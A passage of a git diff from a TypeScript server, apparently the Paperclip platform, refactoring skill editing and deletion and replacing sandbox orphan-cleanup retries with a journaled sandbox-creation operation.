rows.length }; } - async function makeImportedSkillEditable( - companyId: string, skillId: string, actor: SkillActor, folderId: string | null, - database: DbOrTransaction, createdDirectories: string[], - ) { - const [locked] = await database.select({ id: companySkills.id }).from(companySkills) - .where(and(eq(companySkills.companyId, companyId), eq(companySkills.id, skillId))).for("update"); - if (!locked) throw conflict("An imported skill changed. Reload before disconnecting."); - const skill = (await getById(companyId, skillId, database))!; + async function prepareImportedSkillEditable(companyId: string, skillId: string) { + const skill = await getById(companyId, skillId); + if (!skill) throw conflict("The imported skill changed. Reload the source before keeping editable copies."); const version = await getCurrentVersion(skill); const recovery = `Cannot keep "${skill.name}" because its saved files are incomplete. Refresh the source before keeping editable copies, or choose Delete skills.`; if (!version) throw unprocessable(recovery); @@ -7482,28 +7367,24 @@ export function companySkillService(db: Db, options: { actor?: AuthorizationActo if (!savedPaths.has("SKILL.md") || skill.fileInventory.some(file => !savedPaths.has(savedSkillPath(file.path)))) { throw unprocessable(recovery); } - const managedRoot = resolveManagedSkillsRoot(companyId); - await fs.mkdir(managedRoot, { recursive: true }); - const directory = await fs.mkdtemp(path.join(managedRoot, `${skill.slug}-copy-`)); - createdDirectories.push(directory); - for (const file of files) { - assertSkillSnapshotPath(file.path); - const target = path.join(directory, file.path); - await fs.mkdir(path.dirname(target), { recursive: true }); - await fs.writeFile(target, skillFileBytes(file), { mode: file.executable ? 0o755 : 0o644 }); - } - const updated = await database.update(companySkills).set({ - sourceType: "local_path", sourceLocator: directory, sourceRef: null, folderId, - fileInventory: files.map(({ path, kind }) => ({ path, kind })), - metadata: { - sourceKind: "managed_local", + return { skill, files, candidate: await managedContent.prepare(companyId, files) }; + } + + async function makeImportedSkillEditable( + prepared: Awaited>, + actor: SkillActor, folderId: string | null, database: DbOrTransaction, + ) { + const { skill, files, candidate } = prepared; + return managedSkillContent(database as Db, packageDb).publish(skill, candidate, { + sourceType: "managed", sourceLocator: null, sourceRef: null, folderId, + markdown: files.find(file => file.path === "SKILL.md")!.content, + fileInventory: serializeFileInventory(files), trustLevel: deriveTrustLevel(files), + metadata: { sourceKind: "managed", copiedFromRepository: { url: skill.sourceLocator, ref: skill.sourceRef, path: skill.metadata?.skillSourcePath }, forkedByUserId: actor.type === "user" ? actor.userId ?? null : null, forkedByAgentId: actor.type === "agent" ? actor.agentId ?? null : null, }, - updatedAt: new Date(), - }).where(and(eq(companySkills.companyId, companyId), eq(companySkills.id, skillId))).returning({ id: companySkills.id }); - if (updated.length !== 1) throw conflict("An imported skill changed. Reload before disconnecting."); + }, actor, { label: "Editable copy", validate: tx => visibility(tx).assertSkill(skill.companyId, skill.id) }); } async function deleteSkills( @@ -7513,8 +7394,15 @@ export function companySkillService(db: Db, options: { actor?: AuthorizationActo ): Promise { const initial = (await Promise.all([...new Set(skillIds)].sort().map(id => getById(companyId, id)))) .filter((skill): skill is CompanySkill => Boolean(skill)); - async function assertUnused(skill: CompanySkill) { - const usedByAgents = await usage(companyId, skill.key); + async function assertUnused(skill: CompanySkill, database: DbOrTransaction = db) { + const usedByAgents = await usage(companyId, skill.key, database); + const pins = await protectedVersions(database as Db, companyId); + const versions = await database.select({ id: companySkillVersions.id }).from(companySkillVersions).where(and( + eq(companySkillVersions.companyId, companyId), eq(companySkillVersions.companySkillId, skill.id))); + if (pins.versions === null || versions.some(version => pins.versions!.has(version.id))) { + throw unprocessable(`Cannot delete skill "${skill.name}" while an active or recovering run may still need it.`, + { skillId: skill.id, skillKey: skill.key }); + } if (usedByAgents.length === 0) return; throw unprocessable( `Cannot delete skill "${skill.name}" while it is still used by ${usedByAgents.map(agent => agent.name).sort().join(", ")}. Detach it from those agents first.`, @@ -7530,6 +7418,7 @@ export function companySkillService(db: Db, options: { actor?: AuthorizationActo } async function withCacheLocks(index: number): Promise { if (index < initial.length) { + if (initial[index]!.sourceType === "managed") return withCacheLocks(index + 1); let result: CompanySkill[] = []; await removeRuntimeSkillCache(managedRoot, initial[index]!.id, async () => { result = await withCacheLocks(index + 1); }); return result; @@ -7545,8 +7434,10 @@ export function companySkillService(db: Db, options: { actor?: AuthorizationActo const skill = await getById(companyId, before.id, tx); if (!skill) continue; if (skill.slug !== before.slug) throw conflict("Skill changed during deletion. Retry the request."); - await assertUnused(skill); - await fs.rm(resolveRuntimeSkillMaterializedPath(companyId, skill), { recursive: true, force: true }); + await assertUnused(skill, tx); + if (skill.sourceType !== "managed") { + await fs.rm(resolveRuntimeSkillMaterializedPath(companyId, skill), { recursive: true, force: true }); + } if (isPaperclipManagedRenameTarget(skill)) { const source = normalizeSkillDirectory(skill)!; const stat = await fs.lstat(source).catch((error: NodeJS.ErrnoException) => { @@ -7573,20 +7464,20 @@ export function companySkillService(db: Db, options: { actor?: AuthorizationActo } } let deleted: CompanySkill[]; - try { deleted = await withCacheLocks(0); } + try { deleted = await withSkillVersionCacheLock(db, companyId, () => withCacheLocks(0)); } catch (error) { await restoreSources(); throw error; } for (const item of moved) { await fs.rm(item.quarantine, { recursive: true, force: true }).catch(error => { logger.warn({ err: error, companyId }, "Skill deleted; quarantined source cleanup failed"); }); } - // Version caches may still be linked into a captured run. The retention - // worker removes orphan versions only after their run pins have settled. return deleted; } - async function deleteSkill(companyId: string, skillId: string): Promise { - return (await deleteSkills(companyId, [skillId]))[0] ?? null; + async function deleteSkill(companyId: string, skillId: string, + onDelete?: (tx: DbTransaction, deleted: CompanySkill[]) => Promise, + beforeDelete?: (tx: DbTransaction) => Promise): Promise { + return (await deleteSkills(companyId, [skillId], onDelete, beforeDelete))[0] ?? null; } return { @@ -7630,6 +7521,7 @@ export function companySkillService(db: Db, options: { actor?: AuthorizationActo deleteSkill, deleteSkills, makeImportedSkillEditable, + prepareImportedSkillEditable, listTestInputs, createTestInput, updateTestInput, @@ -7647,6 +7539,7 @@ export function companySkillService(db: Db, options: { actor?: AuthorizationActo deleteTestRun, pruneExpiredTestHarnessIssues, importFromSource, + captureLegacyInstallation, installFromCatalog, browseProjectWorkspace, scanProjectWorkspaces, diff --git a/server/src/services/environment-cleanup-state.ts b/server/src/services/environment-cleanup-state.ts index 177ec9d1906..eae1d13fb4e 100644 --- a/server/src/services/environment-cleanup-state.ts +++ b/server/src/services/environment-cleanup-state.ts @@ -1,5 +1,5 @@ import { eq, sql } from "drizzle-orm"; -import { environmentLeases, type Db } from "@paperclipai/db"; +import { environmentLeases, sandboxCreationOperations, type Db } from "@paperclipai/db"; import { hasDeferredEnvironmentCleanup } from "./environment-cleanup-notifications.js"; export const ENVIRONMENT_CLEANUP_RETRY_MS = 5 * 60_000; @@ -20,7 +20,10 @@ export async function nextEnvironmentCleanupAt(db: Db, backoffMs = ENVIRONMENT_C const [row] = await db.select({ next: sql`min(greatest( extract(epoch from ${environmentLeases.updatedAt}) * 1000 + ${backoffMs}, ${pendingCleanupDeadlineSql()}))` }).from(environmentLeases).where(eq(environmentLeases.status, "pending_cleanup")); - const saved = row?.next == null ? null : Number(row.next); + const [creation] = await db.select({ next: sql`min(extract(epoch from ${sandboxCreationOperations.nextAttemptAt}) * 1000)` }) + .from(sandboxCreationOperations).where(eq(sandboxCreationOperations.state, "pending")); + const deadlines = [row?.next, creation?.next].filter((value): value is string => value != null).map(Number); + const saved = deadlines.length ? Math.min(...deadlines) : null; const buffered = hasDeferredEnvironmentCleanup(db) ? Date.now() + backoffMs : null; return saved === null ? buffered : buffered === null ? saved : Math.min(saved, buffered); } diff --git a/server/src/services/environment-runtime.ts b/server/src/services/environment-runtime.ts index 8db16c3209d..277a5a0254c 100644 --- a/server/src/services/environment-runtime.ts +++ b/server/src/services/environment-runtime.ts @@ -1,3 +1,6 @@ +import { HttpError } from "../errors.js"; +import { captureEnvironmentAcquisitionDiagnostic } from "./environment-acquisition-diagnostics.js"; +import { createOwnedSandbox, recoverSandboxCreations } from "./sandbox-creation-operations.js"; import { dueRunLeaseReleaseCondition, pendingRunLeaseReleaseCondition } from "./environment-lease-release-state.js"; import { flushDeferredEnvironmentCleanup, registerDeferredEnvironmentCleanup, writeEnvironmentCleanup } from "./environment-cleanup-notifications.js"; import { executeEnvironmentTask, pluginEnvironmentSupportsTasks, settleDispatchedEnvironmentTask } from "./environment-task-runtime.js"; @@ -11,7 +14,6 @@ import type { NativeWorkspaceFinalizationOwnership } from "./native-runtime/nati import { hasStopOnlyCleanup, prepareSandboxStopAndRetain, readStopOnlyCleanup, settleStopOnlyCleanup, stopOnlyCleanupKey } from "./sandbox-stop-and-retain.js"; import { JsonRpcCallError, readEnvironmentAcquisitionDiagnostic, readEnvironmentCreationCleanupError } from "@paperclipai/plugin-sdk"; import { preserveEnvironmentSyncOutErrorDiagnostic } from "./environment-sync-out-error.js"; -import { captureEnvironmentAcquisitionDiagnostic } from "./environment-acquisition-diagnostics.js"; import { remoteTerminationReceipt } from "./remote-execution-termination.js"; import { hasNativeWorkspaceExportResume, releaseCompletedNativeWorkspaceExportRetention } from "./native-runtime/native-workspace-export-resume.js"; import { createHash, randomUUID } from "node:crypto"; @@ -93,7 +95,7 @@ import { resolvePluginExecuteRpcTimeoutMs, resumePluginEnvironmentLease, } from "./plugin-environment-driver.js"; -import { collectSecretRefPaths } from "./json-schema-secret-refs.js"; +import { collectSecretRefPaths, readConfigValueAtPath } from "./json-schema-secret-refs.js"; import { buildWorkspaceRealizationRecordFromDriverInput } from "./workspace-realization.js"; import { createSandboxOrphanCleanupSpool, @@ -698,39 +700,6 @@ export interface EnvironmentRuntimeDriver { flushDeferredOrphanCleanups?(): Promise<{ recovered: number; pending: number }>; } -/** - * The acquire provisioned a remote sandbox, the lease insert rejected it, the - * compensating teardown failed, and every retry of the durable pending-cleanup - * write also failed. A live sandbox now has no lease row and no cleanup record, - * so no sweep can find it. The acquire throws this error so the failure stays visible - * and never resolves to a clean rejection. The `cause` field holds the original - * lease insert rejection. The `cleanupWriteError` field holds the write failure. - */ -export class SandboxOrphanCleanupWriteError extends Error { - readonly provider: string; - readonly providerLeaseId: string | null; - readonly cleanupWriteError: unknown; - - constructor(input: { - provider: string; - providerLeaseId: string | null; - cause: unknown; - cleanupWriteError: unknown; - }) { - super( - `Sandbox provider "${input.provider}" leaked lease ` + - `"${input.providerLeaseId ?? "unknown"}": the acquire could not tear it down ` + - "and could not record a durable pending-cleanup row. The live sandbox has no " + - "durable cleanup state and needs a manual teardown.", - { cause: input.cause }, - ); - this.name = "SandboxOrphanCleanupWriteError"; - this.provider = input.provider; - this.providerLeaseId = input.providerLeaseId; - this.cleanupWriteError = input.cleanupWriteError; - } -} - /** A reusable sandbox could not be resumed, but has not been proven lost. */ export class ReusableSandboxResumeError extends Error { readonly provider: string; @@ -785,17 +754,6 @@ export type ProviderResourceDisposition = const DEFAULT_PLUGIN_SANDBOX_WORKER_READY_TIMEOUT_MS = 5_000; const DEFAULT_PLUGIN_SANDBOX_WORKER_READY_POLL_MS = 100; -// The durable pending-cleanup write is the only automated way to find a leaked -// sandbox. A single insert can lose to a transient database fault (a dropped -// connection, a lock timeout, a serialization conflict). So the acquire retries -// the write a few times with a short backoff before it gives up. A later -// attempt can still land the durable row that a sweep finds. -const DEFAULT_SANDBOX_ORPHAN_CLEANUP_WRITE_ATTEMPTS = 3; -const DEFAULT_SANDBOX_ORPHAN_CLEANUP_WRITE_BACKOFF_MS = 100; - -// A prolonged database outage after a failed teardown can buffer many orphan -// records in-process. The bound stops that buffer from growing without limit. A -// full buffer keeps the error log as the last durable handle for a new orphan. const DEFAULT_DEFERRED_ORPHAN_CLEANUP_BUFFER_LIMIT = 256; function delay(ms: number): Promise { @@ -1311,8 +1269,6 @@ function createSandboxEnvironmentDriver( pluginWorkerManager?: PluginWorkerManager; pluginWorkerReadyTimeoutMs?: number; pluginWorkerReadyPollMs?: number; - pendingCleanupWriteAttempts?: number; - pendingCleanupWriteBackoffMs?: number; deferredOrphanCleanupBufferLimit?: number; orphanCleanupSpool?: SandboxOrphanCleanupSpool; orphanCleanupSpoolDir?: string; @@ -1321,16 +1277,6 @@ function createSandboxEnvironmentDriver( const pluginWorkerManager = options.pluginWorkerManager; const pluginWorkerReadyTimeoutMs = options.pluginWorkerReadyTimeoutMs ?? DEFAULT_PLUGIN_SANDBOX_WORKER_READY_TIMEOUT_MS; const pluginWorkerReadyPollMs = options.pluginWorkerReadyPollMs ?? DEFAULT_PLUGIN_SANDBOX_WORKER_READY_POLL_MS; - // The retry count is at least one attempt, so a zero or negative override - // never skips the durable write. The backoff is at least zero milliseconds. - const pendingCleanupWriteAttempts = Math.max( - 1, - options.pendingCleanupWriteAttempts ?? DEFAULT_SANDBOX_ORPHAN_CLEANUP_WRITE_ATTEMPTS, - ); - const pendingCleanupWriteBackoffMs = Math.max( - 0, - options.pendingCleanupWriteBackoffMs ?? DEFAULT_SANDBOX_ORPHAN_CLEANUP_WRITE_BACKOFF_MS, - ); // The buffer holds at least one orphan, so a zero or negative override never // drops every buffered record. const deferredOrphanCleanupBufferLimit = Math.max( @@ -1339,15 +1285,6 @@ function createSandboxEnvironmentDriver( ); const environmentsSvc = environmentService(db); - // A live sandbox whose teardown failed needs a durable `pending_cleanup` row, - // so a sweep can find and release it. When every synchronous write attempt - // fails, the database is down but the process still runs. So the driver keeps - // the orphan record in this in-process buffer, and a later cleanup sweep - // flushes it back to the database. The buffer closes the common window where - // the database recovers after the synchronous attempts but while the process - // still runs. The `pending_cleanup` failure reason matches the synchronous - // write, so a flushed row and a synchronous row are indistinguishable to the - // sweep. const deferredOrphanCleanups: DeferredOrphanCleanupRecord[] = []; // Keep the token through queue splices, failed flushes and buffer overflow. // Release only when the database durably owns cleanup of this exact orphan. @@ -1363,16 +1300,6 @@ function createSandboxEnvironmentDriver( }; const DEFERRED_ORPHAN_CLEANUP_FAILURE_REASON = "acquire_rejected_teardown_failed"; - // The in-process buffer alone loses an orphan on a restart. So the driver also - // persists each buffered orphan to this durable local spool. The spool keeps - // the record on the local disk, next to the other durable server state, so a - // restart still finds it. The first flush after a restart loads the spool back - // into the buffer, so the sweep re-inserts the durable row. The spool holds no - // secret value: it persists the same sanitized metadata the database row - // holds, so a restart-recovered record still authorizes the teardown but never - // exposes a credential. Only a crash during the outage before the durable - // spool write lands loses the record; the error log stays the last handle for - // that narrow case. const orphanCleanupSpool = options.orphanCleanupSpool ?? createSandboxOrphanCleanupSpool(options.orphanCleanupSpoolDir); @@ -1460,143 +1387,6 @@ function createSandboxEnvironmentDriver( return orphanFlush; }; - // Build the safe diagnostic fields for an orphan record. The provider - // identifiers are the only fields any diagnostic log emits, and they carry no - // secret. A caught write exception never enters a log: it can carry a - // credential in its name, code, message, cause, or stack. - const orphanDiagnosticFields = (record: DeferredOrphanCleanupRecord) => ({ - errorKind: SANDBOX_ORPHAN_CLEANUP_WRITE_ERROR_KIND, - provider: record.provider, - providerLeaseId: record.providerLeaseId, - companyId: record.companyId, - environmentId: record.environmentId, - executionWorkspaceId: record.executionWorkspaceId, - issueId: record.issueId, - heartbeatRunId: record.heartbeatRunId, - }); - - // Try to write the durable `pending_cleanup` row for an orphan sandbox, with a - // few retries. Report the new lease id on success, or a null lease id and the - // last write error on total failure. This function never buffers, never logs - // at error level, and never throws. The caller decides whether a total failure - // is fatal, because a later successful teardown removes the orphan and needs - // no durable row. - // - // The row carries the provider lease id and the same resolution metadata a - // normal lease holds, so a later cleanup sweep finds and releases the orphan. - // One atomic insert writes the row directly in the terminal `pending_cleanup` - // state, and the insert skips the company-binding assertion, so it records the - // orphan even for a foreign-bound environment. A transient database fault (a - // dropped connection, a lock timeout, a serialization conflict) can reject one - // insert but clear on the next, so the write retries a few times with a short - // backoff. - const tryWriteDurablePendingCleanup = async ( - record: DeferredOrphanCleanupRecord, - ): Promise<{ leaseId: string | null; lastError: unknown }> => { - const diagnosticFields = orphanDiagnosticFields(record); - let lastCleanupWriteError: unknown; - for (let attempt = 1; attempt <= pendingCleanupWriteAttempts; attempt += 1) { - try { - const lease = await environmentsSvc.insertPendingCleanupLease({ - companyId: record.companyId, - environmentId: record.environmentId, - executionWorkspaceId: record.executionWorkspaceId, - issueId: record.issueId, - heartbeatRunId: record.heartbeatRunId, - provider: record.provider, - providerLeaseId: record.providerLeaseId, - metadata: record.metadata, - failureReason: DEFERRED_ORPHAN_CLEANUP_FAILURE_REASON, - }); - // The durable row exists now, so a sweep can find and release the orphan. - return { leaseId: lease.id, lastError: undefined }; - } catch (cleanupWriteError) { - lastCleanupWriteError = cleanupWriteError; - if (attempt < pendingCleanupWriteAttempts) { - // The write failed, but attempts remain. Log the retry at warn level - // and back off, then try again. A later attempt can still land the - // durable row. - logger.warn( - { ...diagnosticFields, attempt, maxAttempts: pendingCleanupWriteAttempts }, - "sandbox orphan cleanup write failed; retrying the durable pending-cleanup write", - ); - await delay(pendingCleanupWriteBackoffMs * attempt); - } - } - } - return { leaseId: null, lastError: lastCleanupWriteError }; - }; - - // Release the durable `pending_cleanup` row after a successful inline teardown. - // The teardown removed the orphan sandbox, so the row is no longer needed. The - // release moves the row to the terminal `expired` state with a `success` - // cleanup status, the same state the sweep records for a successful teardown. - // - // The release is best-effort. If it fails, the row stays `pending_cleanup`, so - // a later sweep runs the idempotent teardown on the already-gone sandbox and - // releases the row itself. A failed release never loses or leaks the orphan. - const releaseCleanedUpOrphanRow = async ( - leaseId: string, - diagnosticFields: Record, - receipt: unknown, - ): Promise => { - try { - const lease = await environmentsSvc.getLeaseById(leaseId); - await environmentsSvc.releaseLease(leaseId, "expired", { - ...(lease ? { remoteExecutionTermination: remoteTerminationReceipt(lease, receipt) } : {}), - cleanupStatus: "success", - failureReason: "acquire_rejected_teardown_succeeded", - }); - } catch { - // The caught release exception never enters a log: it can carry a - // credential in its name, code, message, cause, or stack. - logger.warn( - diagnosticFields, - "could not release the pending-cleanup row after a successful orphan teardown; a later sweep reconciles the released row", - ); - } - }; - - // Neither the durable write nor the inline teardown worked, so the orphan - // sandbox is live with no durable row. Persist the orphan to the durable spool - // and buffer it in-process, so a later cleanup-sweep flush lands the durable - // row. The spool survives a restart, so the flush recovers the orphan even - // after a crash. Then log the plain provider identifiers at error level, so an - // operator keeps a handle to tear the sandbox down by hand. Only a crash before - // the spool write lands loses the record, so the error log is the last handle - // for that narrow case. Throw `SandboxOrphanCleanupWriteError`, which the - // caller propagates. The error keeps the original insert rejection as its - // `cause`, so the real reason the acquire failed stays visible in the error - // chain. - const escalateUnwrittenOrphan = async ( - record: DeferredOrphanCleanupRecord, - cause: unknown, - cleanupWriteError: unknown, - ): Promise => { - trackOrphanIdleWork(record); - const persisted = await orphanCleanupSpool.append(record); - const buffered = enqueueDeferredOrphanCleanup(record); - logger.error( - { - ...orphanDiagnosticFields(record), - persisted, - buffered, - deferredBufferSize: deferredOrphanCleanups.length, - }, - persisted - ? "sandbox orphan cleanup write failed; persisted the orphan to the durable spool for a later cleanup-sweep flush" - : buffered - ? "sandbox orphan cleanup write failed and the durable spool write failed; buffered the orphan in-process only for a later cleanup-sweep flush" - : "sandbox orphan cleanup write failed and neither the durable spool nor the in-process buffer kept the orphan; live sandbox needs a manual teardown", - ); - throw new SandboxOrphanCleanupWriteError({ - provider: record.provider, - providerLeaseId: record.providerLeaseId, - cause, - cleanupWriteError, - }); - }; - // Resolve an uncertain creation to a verified provider ID, journal it, then // authorize deletion. This makes a later missing-ID response conclusive even // when the destructive RPC reply or the final lease update was lost. @@ -1628,68 +1418,7 @@ function createSandboxEnvironmentDriver( } }; - // Clean up an orphan after a rejected insert or uncertain provider creation. - // The acquire provisioned a remote sandbox, then the insert rejected (a - // foreign-company binding), so no lease row tracks the live sandbox. This - // handler records the durable `pending_cleanup` row FIRST, before the inline - // teardown, then tears the sandbox down. - // - // The write goes first on purpose. The conditional insert just returned a - // definitive rejection, so the database is reachable at this instant. An - // inline teardown can run long, and the database can drop during it. So a - // write after the teardown can fail and leave the orphan only in memory, which - // a restart loses. With the write first, the durable row lands while the - // database is proven up, so a crash after it still leaves a row that a sweep - // finds and releases. - // - // The teardown then runs. On success the orphan is gone, so the handler - // releases the durable row. On a failed teardown the row stays for the sweep. - // If the durable write itself failed and the teardown also failed, the handler - // buffers the orphan and throws `SandboxOrphanCleanupWriteError`. A successful - // teardown after a failed write leaves no orphan, so it needs no error. - const cleanUpRejectedOrphanSandbox = async (input: { - record: DeferredOrphanCleanupRecord; - cause: unknown; - canTeardown: boolean; - teardown: (pendingLeaseId: string | null) => Promise; - }): Promise => { - const durable = await tryWriteDurablePendingCleanup(input.record); - let teardownFailed = !input.canTeardown; - let receipt: unknown; - if (!teardownFailed) { - try { - receipt = await input.teardown(durable.leaseId); - } catch { - teardownFailed = true; - } - } - if (!teardownFailed) { - // The teardown removed the orphan, so drop the durable row if we wrote one. - if (durable.leaseId !== null) { - await releaseCleanedUpOrphanRow(durable.leaseId, orphanDiagnosticFields(input.record), receipt); - } - return true; - } - // The teardown failed, so the orphan sandbox is still live. - if (durable.leaseId !== null) { - // The durable row already tracks the orphan, so a sweep finds and releases - // it. The caller rethrows the original insert rejection. - return false; - } - return await escalateUnwrittenOrphan(input.record, input.cause, durable.lastError); - }; - // The run-time exec parent context, held per lease id. A plugin sandbox - // provider can open a persistent session on the first command and delete it - // on lease release. The session open runs inside `execute`, under the run - // parent (the same context the `sandbox.exec` span reads). The session delete - // runs inside the lease-release RPC, which the run orchestrator calls after - // the run, outside that scope. Without a parent the host mints no - // `traceparent` and drops the provider `session.teardown` span. So `execute` - // records the exec parent here, and the release paths replay it around the - // release RPC. The host still mints and validates the `traceparent` itself; - // the value only widens which host calls carry a run parent. An entry is - // removed on release, so the map holds at most one context per live lease. const runExecParentByLeaseId = new Map(); // Run a lease-release RPC under the lease's recorded exec parent context, and @@ -2128,12 +1857,19 @@ function createSandboxEnvironmentDriver( }); } } - const acquisitionRunId = input.heartbeatRunId ?? randomUUID(); - const acquiredLease = providerLease ?? await (async () => { + const acquiredLease = providerLease ?? await createOwnedSandbox(db, { + companyId: input.companyId, environmentId: input.environment.id, + heartbeatRunId: input.heartbeatRunId, issueId: input.issueId, executionWorkspaceId: input.executionWorkspaceId, + provider: parsed.config.provider, pluginId: pluginProvider.resolved.plugin.id, driverKey: parsed.config.provider, + resolvedConfig: { ...parsed.config }, + configSchema: pluginProvider.resolved.driver.configSchema as Record | undefined, + config: sandboxConfigForLeaseMetadata(storedConfig), requestKey: createHash("sha256").update(JSON.stringify(storedConfig)).digest("hex"), + metadata: { ...sandboxConfigForLeaseMetadata(storedConfig), driver: input.environment.driver, + pluginId: pluginProvider.resolved.plugin.id, pluginKey: pluginProvider.resolved.plugin.pluginKey, sandboxProviderPlugin: true }, + timeoutMs: resolvePluginSandboxRpcTimeoutMs(workerConfig, pluginProvider.resolved.driver.defaultAcquireTimeoutMs), + }, async identity => { try { - return await pluginWorkerManager.call( - pluginProvider.resolved.plugin.id, - "environmentAcquireLease", + return await pluginWorkerManager.call(pluginProvider.resolved.plugin.id, "environmentAcquireLease", { driverKey: parsed.config.provider, companyId: input.companyId, @@ -2143,7 +1879,8 @@ function createSandboxEnvironmentDriver( // Plugin SDK requires a string; ad-hoc test leases use a fresh // UUID so providers that validate or persist the runId still see // a well-formed identifier. - runId: acquisitionRunId, + runId: identity.runId, + creationOperationId: identity.id, workspaceMode: input.executionWorkspaceMode ?? undefined, agentId: input.agentId ?? undefined, executionWorkspaceId: input.executionWorkspaceId ?? undefined, @@ -2162,62 +1899,18 @@ function createSandboxEnvironmentDriver( ? { requestedExpiresAt: requestedExpiresAtParam(input.requestedExpiresAt) } : {}), }, - resolvePluginSandboxRpcTimeoutMs( - workerConfig, - pluginProvider.resolved.driver.defaultAcquireTimeoutMs, - ), - ); + resolvePluginSandboxRpcTimeoutMs(workerConfig, pluginProvider.resolved.driver.defaultAcquireTimeoutMs)); } catch (error) { - captureEnvironmentAcquisitionDiagnostic(error, { - companyId: input.companyId, environmentId: input.environment.id, runId: acquisitionRunId, - }, null); const cleanup = readEnvironmentCreationCleanupError(error); - // The authenticated worker may identify its uncertain allocation, - // but cannot redirect cleanup to another company, environment, or run. - if (cleanup && cleanup.companyId === input.companyId && - cleanup.environmentId === input.environment.id && cleanup.runId === acquisitionRunId) { - if (error instanceof JsonRpcCallError) captureEnvironmentAcquisitionDiagnostic(error, { - companyId: input.companyId, environmentId: input.environment.id, runId: acquisitionRunId, - }, readEnvironmentAcquisitionDiagnostic(error)); - const cleanupMetadata = { - ...sandboxConfigForLeaseMetadata(storedConfig), - failedCreateCleanup: cleanup, - driver: input.environment.driver, - pluginId: pluginProvider.resolved.plugin.id, - pluginKey: pluginProvider.resolved.plugin.pluginKey, - sandboxProviderPlugin: true, - }; - // Record before retrying the provider. Existing pending-cleanup - // recovery (including its durable spool) survives controller loss. - const cleanupConfirmed = await cleanUpRejectedOrphanSandbox({ - record: { - companyId: input.companyId, environmentId: input.environment.id, - executionWorkspaceId: input.executionWorkspaceId ?? null, - issueId: input.issueId ?? null, heartbeatRunId: input.heartbeatRunId ?? null, - provider: parsed.config.provider, providerLeaseId: cleanup.providerLeaseId, - metadata: cleanupMetadata, - }, - cause: error, - canTeardown: pluginWorkerManager.isRunning(pluginProvider.resolved.plugin.id), - teardown: (pendingLeaseId) => destroyWithCreationObservation({ - leaseId: pendingLeaseId, metadata: cleanupMetadata, - teardown: (metadata) => pluginWorkerManager.call(pluginProvider.resolved.plugin.id, "environmentDestroyLease", { - driverKey: parsed.config.provider, companyId: input.companyId, - environmentId: input.environment.id, issueId: input.issueId, - config: workerConfig, providerLeaseId: cleanup.providerLeaseId, - leaseMetadata: metadata, - }, resolvePluginSandboxRpcTimeoutMs(workerConfig)), - }), - }); - if (cleanupConfirmed) { - throw new Error("Sandbox creation failed; allocated sandbox cleanup was confirmed.", { cause: error }); - } - } - // A cleanup record is not a usable lease. Keep acquisition failed, - // even when its compensating deletion succeeds on this attempt. + const diagnostic = error instanceof JsonRpcCallError && cleanup?.companyId === input.companyId && + cleanup.environmentId === input.environment.id && cleanup.runId === identity.runId + ? readEnvironmentAcquisitionDiagnostic(error) : null; + captureEnvironmentAcquisitionDiagnostic(error, { + companyId: input.companyId, environmentId: input.environment.id, runId: identity.runId, + }, diagnostic); throw error; } - })(); + }); // Ad-hoc test leases are never publishable for reuse: storing them // as `reuse_by_environment` would let a concurrent heartbeat resume @@ -2275,82 +1968,34 @@ function createSandboxEnvironmentDriver( : {}), ...(reusableScope ? { reusableSandboxLease: reusableScope } : {}), }; - try { - return await environmentsSvc.acquireLease({ - companyId: input.companyId, - environmentId: input.environment.id, - executionWorkspaceId: input.executionWorkspaceId, - issueId: input.issueId, - heartbeatRunId: input.heartbeatRunId, - assertCompanyBinding: input.assertCompanyBinding, - leasePolicy: resolvedLeasePolicy, - provider: parsed.config.provider, - providerLeaseId: acquiredLease.providerLeaseId, - expiresAt: providerAttestedLeaseExpiry( - input.requestedExpiresAt, - acquiredLease.expiresAt ? new Date(acquiredLease.expiresAt) : undefined, - ), - metadata: pluginLeaseMetadata, - reusesReusableLeaseId: - providerLease && - reusableLease?.heartbeatRunId === input.heartbeatRunId - ? reusableLease.id - : null, - replacesReusableLeaseId: - providerLease && - reusableLease?.heartbeatRunId !== input.heartbeatRunId - ? reusableLease?.id - : null, - }); - } catch (error) { - // The conditional lease insert rejected, so no lease row exists. A - // managed reconciliation can bind the environment to another company - // between the route guard and this insert, so the insert fails closed - // with `environment_company_mismatch`. This call already provisioned the - // remote plugin sandbox above, so tear it down now. Without this step - // the rejected insert leaks a live sandbox that no lease row tracks. The - // Claude login runs on a plugin-backed sandbox, so this path is the one - // the login uses. Do not tear down a reused sandbox that an earlier - // lease still owns. - if (!reusableLease || acquiredLease.providerLeaseId !== reusableLease.providerLeaseId) { - // Record the durable pending-cleanup row before the teardown, then - // tear the sandbox down. On a successful teardown the handler releases - // the row. If the durable write and the teardown both fail, the - // handler throws a `SandboxOrphanCleanupWriteError` that carries the - // original rejection as its cause. - await cleanUpRejectedOrphanSandbox({ - record: { - companyId: input.companyId, - environmentId: input.environment.id, - executionWorkspaceId: input.executionWorkspaceId ?? null, - issueId: input.issueId ?? null, - heartbeatRunId: input.heartbeatRunId ?? null, - provider: parsed.config.provider, - providerLeaseId: acquiredLease.providerLeaseId, - metadata: pluginLeaseMetadata, - }, - cause: error, - canTeardown: pluginWorkerManager.isRunning(pluginProvider.resolved.plugin.id), - teardown: async () => { - return await pluginWorkerManager.call( - pluginProvider.resolved.plugin.id, - "environmentDestroyLease", - { - driverKey: parsed.config.provider, - companyId: input.companyId, - environmentId: input.environment.id, - issueId: input.issueId, - config: workerConfig, - providerLeaseId: acquiredLease.providerLeaseId, - leaseMetadata: acquiredLease.metadata ?? undefined, - }, - resolvePluginSandboxRpcTimeoutMs(workerConfig), - ); - }, - }); - } - throw error; - } + return await environmentsSvc.acquireLease({ + creationOperationId: providerLease ? undefined : acquiredLease.metadata?.creationOperationId as string | undefined, + companyId: input.companyId, + environmentId: input.environment.id, + executionWorkspaceId: input.executionWorkspaceId, + issueId: input.issueId, + heartbeatRunId: input.heartbeatRunId, + assertCompanyBinding: input.assertCompanyBinding, + leasePolicy: resolvedLeasePolicy, + provider: parsed.config.provider, + providerLeaseId: acquiredLease.providerLeaseId, + expiresAt: providerAttestedLeaseExpiry( + input.requestedExpiresAt, + acquiredLease.expiresAt ? new Date(acquiredLease.expiresAt) : undefined, + ), + metadata: pluginLeaseMetadata, + reusesReusableLeaseId: + providerLease && + reusableLease?.heartbeatRunId === input.heartbeatRunId + ? reusableLease.id + : null, + replacesReusableLeaseId: + providerLease && + reusableLease?.heartbeatRunId !== input.heartbeatRunId + ? reusableLease?.id + : null, + }); + } // Built-in sandbox provider path. Same guard as the plugin-backed path: @@ -2441,10 +2086,16 @@ function createSandboxEnvironmentDriver( let providerLease; try { - 